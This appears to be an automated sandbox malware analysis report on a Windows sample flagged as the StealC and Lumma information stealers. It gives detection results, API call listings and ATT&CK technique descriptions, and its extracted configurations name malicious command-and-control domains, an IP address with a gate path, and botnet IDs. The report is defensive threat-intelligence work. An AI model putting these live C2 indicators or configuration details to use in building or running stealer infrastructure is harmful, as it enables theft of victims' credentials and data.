Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2522024331.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2565885468.0000000000571000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 05E72BCC Relevance: .8, Instructions: 796COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2291740965.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, Offset: 05E72000, based on PE: false

Associated: 00000000.00000003.2329670368.0000000005E72000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5e72000_MFQbv2Yuzv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c372b0d05b76aa879d4f920c4c66d42c01833ebda17cab6158c72cbb28630569
Instruction ID: 87ac3333313124f641ab29cc67796fa152373edbbdfd26b9e86d19de11009675
Opcode Fuzzy Hash: c372b0d05b76aa879d4f920c4c66d42c01833ebda17cab6158c72cbb28630569
Instruction Fuzzy Hash: 1862EC8644E3C51FD71387748D6A691BFB16E13118B0E8ACFC4C98F5E3E359990AE362

Function 05E72C90 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2291740965.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, Offset: 05E72000, based on PE: false

Associated: 00000000.00000003.2329670368.0000000005E72000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5e72000_MFQbv2Yuzv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8c51870e7403819fff74254c986793fb8e36d9d4841656324bc57689752616
Instruction ID: 459f118b176e12f98ced5d1e2d8cf157992b952fcba39a70c7849a9b859ad16a
Opcode Fuzzy Hash: 8c8c51870e7403819fff74254c986793fb8e36d9d4841656324bc57689752616
Instruction Fuzzy Hash: A991F09A44E3C50FE71387748CAA6917FB1AE13218B0E86DFC2C5CF0E3D259594AD326

Analysis Process: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exePID: 5996, Parent PID: 4368COMMON

Execution Graph

Execution Coverage:	20.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 04F70D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F70DCD

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9b107d2cf5cfcf1498e80260fa6d3140775f09a9da61f3ece5ff68a5bc7b116f
Instruction ID: 83aa3634abd0a644f39ac96bf7a21e27b9cf019ca26574e426143ae29809826f
Opcode Fuzzy Hash: 9b107d2cf5cfcf1498e80260fa6d3140775f09a9da61f3ece5ff68a5bc7b116f
Instruction Fuzzy Hash: F02139B6C00319CFCB50CF99D584ADEBBF1EF88310F14812AD908AB244DB78A541CBA4

Function 04F70D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F70DCD

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 43ad4ce19a4112fbd91f959af9e53b0e59096d09f10faa0d0f99cb0279391768
Instruction ID: 7e5ad0b2273a86e208f20c62eabae02ec15b0f8434473b24bc9c6137a4efc4d9
Opcode Fuzzy Hash: 43ad4ce19a4112fbd91f959af9e53b0e59096d09f10faa0d0f99cb0279391768
Instruction Fuzzy Hash: 9E2115B6C013199FCB50CF99D984BDEFBF4EF88720F14811AD908AB204DB78A541CBA5

Function 04F71510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F71580

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 75419922e3eb909ba1de64c532902f4badf17709280a156e710afb0b4c7c8309
Instruction ID: 3eb6b7a6a2c7bef5a968101543522dcf2cfbd4197abf3ea27bbd93a735a76b64
Opcode Fuzzy Hash: 75419922e3eb909ba1de64c532902f4badf17709280a156e710afb0b4c7c8309
Instruction Fuzzy Hash: 5711D3B59007499FDB10CF9AC984BDEFBF4AB48320F10802AE959A3250D778A645CFA5

Function 04F71509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F71580

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: eccb8d31b987798946a56871a61b9da7524eb8bfdeb8049f452cbd4f03037b47
Instruction ID: c03d48b202b206a88cf514172ecd0fe4d3fa44e6d333223dc2f8ea9dd5a67ebe
Opcode Fuzzy Hash: eccb8d31b987798946a56871a61b9da7524eb8bfdeb8049f452cbd4f03037b47
Instruction Fuzzy Hash: 772103B6900609CFDB10CF9AC584BDEBBF4AB48320F10802AD559A3250D778A645CFA5

Function 04F71301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F71367

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 71c290d5b02d84bafb0a401277074653e88886afdf1f7ef3a7586c504efaf86c
Instruction ID: 43d672e1a2838a2ba1ab65a00b6cc3ae8df5fff3e932615611a79fb2db6f0be2
Opcode Fuzzy Hash: 71c290d5b02d84bafb0a401277074653e88886afdf1f7ef3a7586c504efaf86c
Instruction Fuzzy Hash: 8F1158B1800249CFDB10CF9AC984BDEBBF4EF48320F10842AD558A3240C778A645CFA5

Function 04F71308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F71367

Memory Dump Source

Source File: 00000003.00000002.2568322884.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f70000_D9YNQHDH87LD7ZJ622XZKADJTLQDPY.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6de80c6e1b01935c0b133ead729375898ea0330758cf078dab0208125b27f977
Instruction ID: 94bdfc6423c839ca998bfd3f41f082da3f6b59b17e20a185b98b788e0ede8cb9
Opcode Fuzzy Hash: 6de80c6e1b01935c0b133ead729375898ea0330758cf078dab0208125b27f977
Instruction Fuzzy Hash: 111125B1800749CFDB10CF9AC944BDEBBF4AB48320F20845AD558A3250D778A544CFA5

Source: https://grannyejh.lat/apij	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/j8	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/p	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiM	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/ineer	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiz	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiw	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/NA	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/L	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/apiLocal	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/A	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/gU	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/Wg	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/c	Avira URL Cloud: Label: malware

Source: MFQbv2Yuzv.exe.4368.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["crosshuaht.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "sustainskelet.lat", "sweepyribs.lat", "aspecteirs.lat", "discokeyus.lat", "grannyejh.lat"], "Build id": "PsFKDg--pablo"}
Source: 58AOE6AB3YG1SX0XN83.exe.1036.5.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Joe Sandbox ML: detected

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MFQbv2Yuzv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.log

C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe

C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
MFQbv2Yuzv.exe

Function 04F70D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04F70D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04F71510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04F71509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 04F71301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04F71308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre